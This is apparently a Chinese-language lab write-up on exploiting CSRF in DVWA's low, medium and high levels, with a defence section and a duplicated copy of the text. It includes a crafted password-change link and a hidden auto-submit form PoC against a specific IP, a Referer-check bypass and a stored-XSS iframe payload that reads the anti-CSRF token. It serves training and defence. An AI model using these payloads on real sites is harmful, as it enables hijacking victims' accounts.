DVWA靶场之CSRF学习分享
字数 938 2025-08-24 20:49:31

DVWA靶场CSRF漏洞学习指南

1. CSRF漏洞概述

跨站请求伪造(CSRF)是一种攻击方式,攻击者诱使受害者在已登录目标网站的情况下,执行非预期的操作。DVWA(Damn Vulnerable Web Application)提供了四个不同安全级别的CSRF漏洞场景供学习。

2. CSRF(Low)级别

漏洞分析

  • 服务器仅检查password_newpassword_conf参数是否相同
  • 无任何CSRF防护机制
  • 仅依赖cookie进行身份验证

攻击方法

  1. 构造恶意链接:
http://43.247.91.228:81/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
  1. 或使用Burp Suite生成CSRF PoC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://43.247.91.228:81/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123456" />
<input type="hidden" name="password_conf" value="123456" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
  1. 受害者使用同一浏览器访问该链接或HTML文档时,密码会被修改

关键点

  • 攻击依赖受害者使用同一浏览器
  • 可利用短网址平台(如https://dwz.cn/)隐藏真实URL

3. CSRF(Medium)级别

防护机制

  • 检查HTTP Referer头是否包含服务器名(43.247.91.228)
  • 使用eregi()函数进行不区分大小写的匹配

绕过方法

  1. 将攻击页面命名为43.247.91.228.html
  2. 构造PoC:

<h1>404<h1>
<h2>file not found.<h2>
  1. 受害者访问该页面时,密码会被自动修改

4. CSRF(High)级别

防护机制

  • 引入Anti-CSRF token机制
  • 每次访问改密页面时生成随机token
  • 提交请求时必须包含有效token

攻击方法

  1. 结合XSS(Stored)漏洞获取token
  2. 注入payload:
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
  1. 每次打开页面会弹出token值
  2. 使用获取的token构造请求修改密码

5. CSRF(Impossible)级别

防护机制

  1. 使用PDO技术防御SQL注入
  2. 要求用户输入原始密码
  3. 攻击者在不知道原始密码的情况下无法进行CSRF攻击

6. 防御建议

  1. 实施Anti-CSRF token机制
  2. 检查Referer头(但非绝对可靠)
  3. 关键操作要求二次验证(如输入原密码)
  4. 使用SameSite cookie属性
  5. 实施自定义HTTP头验证

7. 总结

CSRF漏洞的防护需要多层防御:

  • Low级别:无任何防护
  • Medium级别:Referer检查(可绕过)
  • High级别:Token机制(需结合其他漏洞利用)
  • Impossible级别:多因素验证(最安全)
DVWA靶场CSRF漏洞学习指南 1. CSRF漏洞概述 跨站请求伪造(CSRF)是一种攻击方式,攻击者诱使受害者在已登录目标网站的情况下,执行非预期的操作。DVWA(Damn Vulnerable Web Application)提供了四个不同安全级别的CSRF漏洞场景供学习。 2. CSRF(Low)级别 漏洞分析 服务器仅检查 password_new 与 password_conf 参数是否相同 无任何CSRF防护机制 仅依赖cookie进行身份验证 攻击方法 构造恶意链接: 或使用Burp Suite生成CSRF PoC: 受害者使用同一浏览器访问该链接或HTML文档时,密码会被修改 关键点 攻击依赖受害者使用同一浏览器 可利用短网址平台(如https://dwz.cn/)隐藏真实URL 3. CSRF(Medium)级别 防护机制 检查HTTP Referer头是否包含服务器名(43.247.91.228) 使用 eregi() 函数进行不区分大小写的匹配 绕过方法 将攻击页面命名为 43.247.91.228.html 构造PoC: 受害者访问该页面时,密码会被自动修改 4. CSRF(High)级别 防护机制 引入Anti-CSRF token机制 每次访问改密页面时生成随机token 提交请求时必须包含有效token 攻击方法 结合XSS(Stored)漏洞获取token 注入payload: 每次打开页面会弹出token值 使用获取的token构造请求修改密码 5. CSRF(Impossible)级别 防护机制 使用PDO技术防御SQL注入 要求用户输入原始密码 攻击者在不知道原始密码的情况下无法进行CSRF攻击 6. 防御建议 实施Anti-CSRF token机制 检查Referer头(但非绝对可靠) 关键操作要求二次验证(如输入原密码) 使用SameSite cookie属性 实施自定义HTTP头验证 7. 总结 CSRF漏洞的防护需要多层防御: Low级别:无任何防护 Medium级别:Referer检查(可绕过) High级别:Token机制(需结合其他漏洞利用) Impossible级别:多因素验证(最安全)